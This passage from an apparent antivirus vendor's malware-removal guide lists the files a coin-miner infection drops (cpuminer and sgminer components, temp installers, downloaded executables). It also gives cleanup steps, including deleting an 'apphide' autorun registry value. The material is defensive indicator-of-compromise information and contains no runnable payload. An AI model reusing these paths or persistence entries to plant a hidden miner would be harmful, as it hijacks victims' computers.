    %Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\kernel\blake256.cl (3 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsn34.tmp\nsExec.dll (9 bytes)
    %Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\kernel\lyra2.cl (6 bytes)
    %Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\kernel\keccak.cl (21 bytes)
    %Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\kernel\shabal.cl (12 bytes)
    %Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\kernel\echo.cl (5 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsn34.tmp\nsProcess.dll (7 bytes)
    %Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\kernel\groestl.cl (72 bytes)
    %Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\kernel\shavite.cl (22 bytes)
    %Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\sgm.exe (16613 bytes)
    %Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\kernel\simd.cl (59 bytes)
    %Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\kernel\skein.cl (8 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsn34.tmp\ns36.tmp (9 bytes)
    %Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\kernel\cubehash.cl (8 bytes)
    %Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\kernel\lyra2rev2.cl (14 bytes)
    %Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\sgminer.conf (739 bytes)
    %Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\start.cmd (214 bytes)
    %Documents and Settings%\%current user%\Application Data\cpuminer\sgminer.7z (101987 bytes)
    %Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\kernel\aes_helper.cl (24 bytes)
    %Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\kernel\fugue.cl (34 bytes)
    %Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\clinfo.exe (43 bytes)
    %Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\kernel\luffa.cl (14 bytes)
    %Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\msvcr120.dll (32784 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\is-GFSDH.tmp\setup3.tmp (7386 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\chrome_installer.log (333 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nse30.tmp\IpConfig.dll (4992 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nse30.tmp\ns31.tmp (9 bytes)
    %Documents and Settings%\%current user%\Application Data\cpuminer\gpuminer-setup.exe (46278 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nso2F.tmp (259078 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nse30.tmp\nsProcess.dll (7 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nse30.tmp\inetc.dll (784 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nse30.tmp\nsExec.dll (9 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\cpuminer\msvcr120.dll (32784 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nse30.tmp\UserInfo.dll (4 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\cpuminer\cpuminer-conf.json (226 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nse30.tmp\registry.dll (784 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nse30.tmp\CPUFeatures.dll (8 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\cpuminer\cpm.exe (144456 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nse30.tmp\System.dll (11 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nse30.tmp\ns38.tmp (9 bytes)
    %Documents and Settings%\%current user%\Application Data\cpuminer\cpuminer-uninst.exe (816 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\setup3.exe (2420 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\f9626892-7a78-3199-abd2-97bbce96297b\adv_128.exe (1188757 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\CR_7BF10.tmp\CHROME.PACKED.7Z (274744 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\CR_7BF10.tmp\SETUP.EX_ (1612 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\CR_7BF10.tmp\setup.exe (16808 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\tmp37.tmp.exe (275838 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsd19.tmp (15 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsj1B.tmp (261221 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nst39.tmp (15 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\cmmdWriter[1].exe (3808 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsk1C.tmp (15 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nstF.tmp (3808 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\desktop.ini (67 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsm1F.tmp (15 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsnE.tmp (1 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\7121923af824073a25b2b7e6ba0a6e0e[1].exe (4152 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nst1A.tmp (15 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsmA.tmp (12673 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsj23.tmp (15 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\desktop.ini (67 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\pptxd[1].exe (47264 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsu10.tmp (15 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsmC.tmp (15 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsm17.tmp (15 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsa3A.tmp (47264 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\ibf-cmi-1938953175.us-east-1.elb.amazonaws[2].htm (15 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsf1D.tmp (15 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsk12.tmp (15 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsu2B.tmp (15 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\Cdn[1].exe (286251 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\YJHCp1[1].exe (9352 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\ibf-cmi-1938953175.us-east-1.elb.amazonaws[1].htm (45 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\ibf-cmi-1938953175.us-east-1.elb.amazonaws[1].htm (30 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nshB.tmp\inetc.dll (784 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsq14.tmp (15 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsnD.tmp (15 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\prepreinstaller_win[1].exe (16664 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\vos[1].htm (1 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsg1E.tmp (16664 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsl13.tmp (9352 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nss2D.tmp (15 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsf3B.tmp (15 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsu2C.tmp (286251 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nss21.tmp (15 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsy22.tmp (4152 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsv28.tmp\System.dll (11 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsv28.tmp\registry.dll (25 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsv28.tmp\checks.txt (544 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsv28.tmp\amisid.exe (909 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsa2A.tmp\System.dll (11 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsa2A.tmp\amisid.exe (909 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsa2A.tmp\registry.dll (25 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsa2A.tmp\nsisos.dll (5 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsa2A.tmp\md5dll.dll (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsa2A.tmp\post_reply.htm (14 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsa2A.tmp\inetc.dll (22 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\thankyou[1].php (14 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsa2A.tmp\checks.txt (544 bytes)

  4. Delete the following value(s) in the autorun key (How to Work with System Registry):

    [HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
    "apphide" = "%Program Files%\baidu\ppt.exe"

  5. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
  6. Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

No votes yet


Lavasoft is the maker of Ad-Aware, the world's most popular anti-malware software with over 450 million downloads.
© 2026 Lavasoft. All rights reserved.
Terms Of Use |   Privacy Policy


x

Our best antivirus yet!

Fresh new look. Faster scanning. Better protection.

Enjoy unique new features, lightning fast scans and a simple yet beautiful new look in our best antivirus yet!

For a quicker, lighter and more secure experience, download the all new adaware antivirus 12 now!

Download adaware antivirus 12
No thanks, continue to lavasoft.com
close x

Discover the new adaware antivirus 12

Our best antivirus yet

Download Now